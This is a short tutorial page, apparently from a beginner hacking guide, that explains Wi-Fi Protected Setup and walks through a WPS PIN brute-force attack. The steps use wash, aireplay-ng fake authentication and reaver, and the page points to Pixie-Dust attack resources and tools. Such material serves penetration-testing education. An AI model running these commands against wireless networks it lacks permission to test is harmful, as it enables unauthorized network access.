> For the complete documentation index, see [llms.txt](https://hackingforbabies.gitbook.io/en/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackingforbabies.gitbook.io/en/wifi-cracking/wps-attack.md).

# WPS Attack

## <mark style="color:blue;">WPS Attack</mark>

WPS stands for "Wi-Fi Protected Setup," which is a network security standard used by wireless routers to make it easier for users to connect their devices to a Wi-Fi network. WPS allows users to connect their devices to a wireless network without the need to enter a password manually.

When using WPS, a user can simply press a button on the router, or enter a PIN code, and the router will automatically configure the device's wireless settings and connect it to the network. This makes it easier for users to connect devices to a wireless network without having to remember a complicated password.

## <mark style="color:blue;">How to Run a  Brute-Force PIN attack?</mark>

WPS is only 8 digits pin so we can simply try possible pins to guess the correct one!

1. To see the available networks we can type

```
wash –interface [interface]
```

2. After choosing the AP that does not use PBC (Push Button Authentication) we need first to associate with the AP

```
aireplay-ng –fakeauth 30 -a [AP mac addr] -h [wifi inter addr] [interface]
```

3. To try possible pins we going to use a tool called reaver

```
reaver –bssid [AP mac addr] –channel [AP CH] –interface [interface] -vvv –no-associate
```

## <mark style="color:blue;">How to Run a  Pixie-Dust attack?</mark>

The Pixie-Dust attack is a strategy that targets the vulnerability in WPS (Wi-Fi Protected Setup) to crack the PIN and gain access to a Wi-Fi network. This technique is used to exploit weak security settings, highlighting the importance of securing wireless networks with strong encryption and complex passwords.

{% embed url="<https://null-byte.wonderhowto.com/how-to/hack-wifi-using-wps-pixie-dust-attack-0162671/>" %}

{% embed url="<https://github.com/t6x/reaver-wps-fork-t6x>" %}

Now, Pixie-Dust attack is part of Airegeddon, wifite ,... so you can check other pre build tools to run it.

{% content-ref url="/pages/qRiResZRIullgE1bVZBj" %}
[Wifite](/en/wifi-cracking/wifite.md)
{% endcontent-ref %}

{% content-ref url="/pages/aj2DyndVsT1PSfnNPBnS" %}
[Airgeddon](/en/wifi-cracking/airgeddon.md)
{% endcontent-ref %}
